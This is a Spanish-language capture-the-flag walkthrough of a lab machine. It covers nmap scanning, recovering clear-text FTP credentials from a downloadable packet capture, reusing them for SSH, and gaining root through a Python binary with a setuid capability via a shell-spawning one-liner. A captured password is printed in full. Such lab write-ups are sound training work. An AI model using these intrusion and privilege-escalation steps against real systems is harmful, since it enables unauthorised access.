Enumeracion
- Analizamos los puertos con nmap
sudo nmap -sS -p- -Pn -n --min-rate 5000 --open 10.10.10.245 -oG allPortsPORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http- ahora hacemos un analisis de las versiones y ejecutamos algunos scripts de recolección de información
sudo nmap -sVC -p21,22,80 -n -Pn --min-rate 5000 10.10.10.245 -oN TargetedPORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http gunicorn-
Vamos a enumerar información del servicio web
- Tenemos un panel de busqueda que no parece ser vulnerable a sqli

- tenemos una pagina donde podemos descargar los ultimos 5 segundos de trafico en la web

- podemos ver el resultado de la ejecucion de un
ifconfig
- podemos ver el resultado de un
netstat
- Tenemos un panel de busqueda que no parece ser vulnerable a sqli
-
me llama la atención el archivo que podemos descargar ya que parece ser que nos permite ver analisis anteriores

-
vamos a intentar descargar el archivo
0y lo abriremos con tcpdump
tcpdump -r 0.pcap -Aanalizando los paquetes podemos ver que se capturo la tramitacion para una conexion via ftp por lo cual podemos ver los credenciales en texto claro
nathan:Buck3tH4TF0RM3!
Explotacion
-
Ahora que tenemos credenciales supuestamente validos para ftp vamos a intentar conectarnos a la ma
ftp nathan@10.10.10.245
-
esto me hace pensar que puede que tambien sean credeciales validas para ssh, y asi es
ssh nathan@10.10.10.245
hacemos un export TERM=xtermpara poder hacerctrl+l -
Vamos a enumerar la maquina para ver posibles vias de privilege Escalation, y nos damos cuenta que el ejecutable de python tiene un capabilitie que nos permite cambiar nuestro UID por lo que usando python podemos cambiar nuestra UID y ejecutar un comando como ese usuario, (https://gtfobins.github.io/gtfobins/python/#capabilities)
getcap -r / 2>/dev/nully ahora
python3 -c 'import os; os.setuid(0); os.system("/bin/sh")' -
ya somos root
